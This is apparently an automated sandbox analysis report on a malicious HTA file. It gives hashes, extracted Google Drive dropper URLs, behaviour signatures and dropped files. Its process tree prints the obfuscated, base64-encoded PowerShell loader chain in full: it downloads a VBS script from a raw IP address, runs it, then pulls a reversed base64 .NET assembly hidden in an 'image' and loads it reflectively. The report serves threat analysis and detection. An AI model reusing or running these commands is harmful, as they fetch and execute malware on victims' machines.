Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29-10-2024 12:37

General

  • Target

    seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta

  • Size

    131KB

  • MD5

    196fb761aa0f295e150b75bd8ad638b4

  • SHA1

    c209ef825b7f80e43f3c904efbc2df582117eeb0

  • SHA256

    86f7ef2ea14259c52d1fe1627978ef45a94fc4234c7328a1492da55a400703d6

  • SHA512

    38b7eaff75c6d2cc3b5da4ebb6c345247d35d44b29804c67227404942075db9abf6466716122be3cc4bcb7c8188e0aa3c3b69d9459fd1cff8f5177eaae028b85

  • SSDEEP

    96:4vCt7evwlevO+D4xMUrwKtkTt0cZPeIvdDveRAz5hg3vBQ:4vCFUWUiXwK2TpSbBQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\SysWOW64\WinDOWSpoWErSheLl\v1.0\poWERSHELl.eXE
      "C:\Windows\systEm32\WinDOWSpoWErSheLl\v1.0\poWERSHELl.eXE" "PoWeRSheLL -EX bYPAsS -nOp -W 1 -c DeVIcECRedenTiAlDEploymeNT.eXe ; iex($(Iex('[SYsTeM.TeXt.ENCODinG]'+[chAR]58+[chAR]58+'UTF8.geTStRING([SysteM.CONVERT]'+[CHAR]0x3a+[cHAr]0X3A+'fRomBaSe64STring('+[ChAr]34+'JEREICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlckRlZkluaXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGR0Vkh5Zm5wRUcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVnZ3cXksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvSVVxaVgsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdm0pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJMZkJpeHBhTVFhSiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbVVUTURZQ2tkICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRERDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTU1LzQyMy9waWN0dXJld2l0aGdyZWF0bmV3c3dpdGhnb29kdGhpbmdzdG9oYXBwZW5lZC50SUYiLCIkRW52OkFQUERBVEFccGljdHVyZXdpdGhncmVhdG5ld3N3aXRoZ29vZHRoaW5nc3RvaGFwcC52YlMiLDAsMCk7c1RhUlQtc2xFZVAoMyk7U1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHBpY3R1cmV3aXRoZ3JlYXRuZXdzd2l0aGdvb2R0aGluZ3N0b2hhcHAudmJTIg=='+[CHAr]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPAsS -nOp -W 1 -c DeVIcECRedenTiAlDEploymeNT.eXe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2744
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1jhmi1uz.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2752
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4403.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC43F3.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2828
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithgreatnewswithgoodthingstohapp.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:760
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnR1ZDaW1hZ2VVcmwnKycgPSBTcHJodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd24nKydsbycrJ2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciBTcHI7R1ZDd2ViQ2xpJysnZW4nKyd0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtHVkNpbWFnZUJ5dGVzID0nKycgR1ZDd2ViQ2xpZW50LkRvd24nKydsb2FkJysnRGF0YScrJyhHVkNpbWFnZVVybCknKyc7R1ZDaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoR1ZDaW1hZycrJ2VCeXRlcyk7R1YnKydDc3RhcnRGbGFnID0gU3ByPDxCQVNFNjRfU1RBUlQ+PlNwcjtHVkNlbmRGbGFnID0gU3ByPCcrJzxCQVNFNjRfRU5EPj5TcHI7R1ZDc3RhcnRJbmRleCA9IEdWQ2ltYWdlVGV4dC5JbicrJ2RleE9mKEdWQ3N0YXJ0RmxhZyk7R1ZDZW5kSW5kZXggPSBHVkNpJysnbWFnZVRleHQuSW5kZXhPZihHVkNlbmRGbGFnKTtHVkNzdGFydEluZGUnKyd4IC1nZSAwIC1hbmQgR1ZDZScrJ25kSW5kZXggLWd0IEdWQ3MnKyd0YXJ0SW5kZXg7R1ZDc3RhcnRJbmRleCArPSBHVkNzdGFydEZsYWcuTGVuZ3RoO0dWQ2Jhc2U2NExlbmd0aCA9IEdWQ2VuZEluZGV4IC0gR1ZDc3RhcicrJ3RJbmRleDtHVkNiYXNlNjRDb21tYW5kID0gR1ZDaW1hZ2VUZXh0JysnLlN1YnN0cmluZycrJyhHVkNzdGFydEluZGV4LCBHVkNiYXNlNjRMZW5ndGgpO0dWQ2Jhc2U2NFJldmVyc2VkID0gJysnLWpvaW4gKEdWQ2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBUMHggRm9yRWFjaC1PYmplY3QgeyBHJysnVkNfIH0pWy0xLi4tKEdWQ2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07R1ZDYycrJ29tbWFuZEJ5dGVzID0gW1N5cycrJ3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhcycrJ2U2NFN0cmluZyhHVkNiYXNlNjRSZXZlcnNlZCk7R1ZDbG9hZGVkQXNzZW1ibHkgPSAnKydbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZScrJ21ibHldOjpMb2FkKEdWQ2NvbW1hbmRCeXRlcyk7R1ZDdmFpJysnTWV0aG9kID0gW2RuJysnbGliLklPLkhvbWVdLkdldE1ldGhvZChTcHJWQUlTcHIpO0dWQ3ZhaU1ldGhvZC5JbnZva2UoR1ZDbnVsbCwgQChTcHJ0eHQuU0dPTEtMLzMyNC81NTEuODcxLjY0Ljg5MS8vOnB0dGhTcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwckNhc1BvbFNwciwgUycrJ3ByZGVzYXRpdmFkb1NwciwgU3ByZGUnKydzYXRpJysndmFkb1NwcixTcHJkZXNhdGl2YWRvU3ByLFNwJysncmRlc2F0aScrJ3ZhZG9TcHIsU3ByZGVzYXRpdmFkb1NwcixTcHJkZXNhdGl2YWRvU3ByLFNwcmRlc2F0aXZhZG9TcHIsJysnU3ByMVNwcixTcHJkZXNhdGl2YWRvU3ByKSk7JykgLWNyRVBMQWNFIChbY2hhcl04NCtbY2hhcl00OCtbY2hhcl0xMjApLFtjaGFyXTEyNCAtUkVwbGFjZSAoW2NoYXJdNzErW2NoYXJdODYrW2NoYXJdNjcpLFtjaGFyXTM2ICAtY3JFUExBY0UgKFtjaGFyXTgzK1tjaGFyXTExMitbY2hhcl0xMTQpLFtjaGFyXTM5KSB8IElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3008
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('GVCimageUrl'+' = Sprhttps://drive.google.com/uc?export=down'+'lo'+'ad&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur Spr;GVCwebCli'+'en'+'t = New-Object System.Net.WebClient;GVCimageBytes ='+' GVCwebClient.Down'+'load'+'Data'+'(GVCimageUrl)'+';GVCimageText = [System.Text.Encoding]::UTF8.GetString(GVCimag'+'eBytes);GV'+'CstartFlag = Spr<<BASE64_START>>Spr;GVCendFlag = Spr<'+'<BASE64_END>>Spr;GVCstartIndex = GVCimageText.In'+'dexOf(GVCstartFlag);GVCendIndex = GVCi'+'mageText.IndexOf(GVCendFlag);GVCstartInde'+'x -ge 0 -and GVCe'+'ndIndex -gt GVCs'+'tartIndex;GVCstartIndex += GVCstartFlag.Length;GVCbase64Length = GVCendIndex - GVCstar'+'tIndex;GVCbase64Command = GVCimageText'+'.Substring'+'(GVCstartIndex, GVCbase64Length);GVCbase64Reversed = '+'-join (GVCbase64Command.ToCharArray() T0x ForEach-Object { G'+'VC_ })[-1..-(GVCbase64Command.Length)];GVCc'+'ommandBytes = [Sys'+'t'+'em.Convert]::FromBas'+'e64String(GVCbase64Reversed);GVCloadedAssembly = '+'[System.Reflection.Asse'+'mbly]::Load(GVCcommandBytes);GVCvai'+'Method = [dn'+'lib.IO.Home].GetMethod(SprVAISpr);GVCvaiMethod.Invoke(GVCnull, @(Sprtxt.SGOLKL/324/551.871.64.891//:ptthSpr, SprdesativadoSpr, SprdesativadoSpr, SprdesativadoSpr, SprCasPolSpr, S'+'prdesativadoSpr, Sprde'+'sati'+'vadoSpr,SprdesativadoSpr,Sp'+'rdesati'+'vadoSpr,SprdesativadoSpr,SprdesativadoSpr,SprdesativadoSpr,'+'Spr1Spr,SprdesativadoSpr));') -crEPLAcE ([char]84+[char]48+[char]120),[char]124 -REplace ([char]71+[char]86+[char]67),[char]36 -crEPLAcE ([char]83+[char]112+[char]114),[char]39) | Iex"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2884

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\1jhmi1uz.dll

    Filesize

    3KB

    MD5

    0c5386bbdfc85042c10b3064fe7f9cbd

    SHA1

    2f6eb66b1a3853710d17c9e1ab504d1837dc5d0e

    SHA256

    1c84ffa50ceefea726f146517c6982c44992322036a88f9315f202c3070eb587

    SHA512

    ffaf87409e78e2926cf140d771fa89265d763681645021177f05b1be919c426e4bb86886cbc5282961df939f8c8df69d1909e57b512fa4915a1d667643419edf

  • C:\Users\Admin\AppData\Local\Temp\1jhmi1uz.pdb

    Filesize

    7KB

    MD5

    eae98220796654b55fbfb578f3e0b3b7

    SHA1

    c0e4319d40c8094cb5ac7d503b3be7aff0b5fca8

    SHA256

    64560c79433057b3be4f29283a0cfd7edbfe818e84e5160403884f64f8cadd5b

    SHA512

    299bba40a452dc31d8eaf74c5bebb007ce58fceb11f0a17e5123c1745da7121335b0fd8adf2514f4fa69127d8f67be743040f2bd1c9273d629bbe568e4115fb5

  • C:\Users\Admin\AppData\Local\Temp\RES4403.tmp

    Filesize

    1KB

    MD5

    0226c3634ea4ba9c3fd944375cfa45ed

    SHA1

    cbf9ae07ee882294425d838abcc3132dedc8ae48

    SHA256

    381b130bd2e7df039e32f0658112150ef669c46713fba41194b12bcdcd621d4c

    SHA512

    9f874badf1bcc565ab44599e14ee88d3166aad0a4878486dba8cb722cee9d4699ad9bf81693b98be04642f3d97226c73b77dec94896ee5eeb913dc42b6653e46

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    df6f02cabe81eaeabc6123cfbaac41c8

    SHA1

    61ead55d3c0d26071551329ff43a01524fc63c50

    SHA256

    e587b74f84f3712b8153eb38c22b96e82bb9067854c7801e47dc04bc391b1151

    SHA512

    bf5bb70c8ac231c35773a33b77dc790f38d89139cb27cfd5a3a1ce1a9ff5c0fb52af19945030c29e2c81e96bc79e0a835c6c461d6c8ec2619df6013a6586ed49

  • C:\Users\Admin\AppData\Roaming\picturewithgreatnewswithgoodthingstohapp.vbS

    Filesize

    136KB

    MD5

    e7dde34531d98d4b94175ad3269d5667

    SHA1

    fa9596b284c756bcf9a14dc5ebc2b84607d398ae

    SHA256

    1d85e569b13244ff1ef054cec322a314c9880567b511b6ee817068c0dcd5d38b

    SHA512

    d39505a3951fd19c3809a0640218d39414bfb9efcc0d1c534ee5d9a4d17ddbcf7d3ad40d255a6e8a58d259e7ce61ac9f16e3d55b17d674eadb68997b551b4843

  • \??\c:\Users\Admin\AppData\Local\Temp\1jhmi1uz.0.cs

    Filesize

    462B

    MD5

    c3b2cac94b16f2aa7b62978b69741a03

    SHA1

    24b7bd8cf3a07a364bd91c2581a9a67cb25c8e3e

    SHA256

    a1d1f69141b09c2027c3ecf1b0eeb0b0d2a1ee67ee96436591461acd6f1b9d20

    SHA512

    3f4ab831992c6ffce0b348f105d13bea0ebdabe992d9d4283ba8671069529acb9e8fa8f3ec227aef6ce7f6180309dea4823b82f9cd78f94e5081f3d748fa0cb7

  • \??\c:\Users\Admin\AppData\Local\Temp\1jhmi1uz.cmdline

    Filesize

    309B

    MD5

    1bc4cff65159687a686e632c620f6536

    SHA1

    54ad494102a80a1895a8c9d3680dd6dc8957c117

    SHA256

    6833fa625590e545bcbc61730d544419253f8f32149850a22e6219fbbf925f85

    SHA512

    4bc6560506e39ae2d81f79a104bfff4307f18b3d6d3fddbf1b923ab6e4948a3ce9dcaf5d6f23eb4f4d83140be69beefc18d2f55ff62315a9eefe984f592923ea

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC43F3.tmp

    Filesize

    652B

    MD5

    df89e36de0e93a0835daf99ce1395671

    SHA1

    e63e50a24a98a8299f684f1833bda3baf25e7d11

    SHA256

    f4189aa07c8922cd52f65e81b6978ab94f96b603739a2a3b9f1aebb0d5336472

    SHA512

    17940639413ac61fea0ac167fb48291abc0e64757742b6282bf3276ac860baddd0ed2a59f15106a74a5a602e2a0c705b87475f17a95b97cb78c326b37e0f639f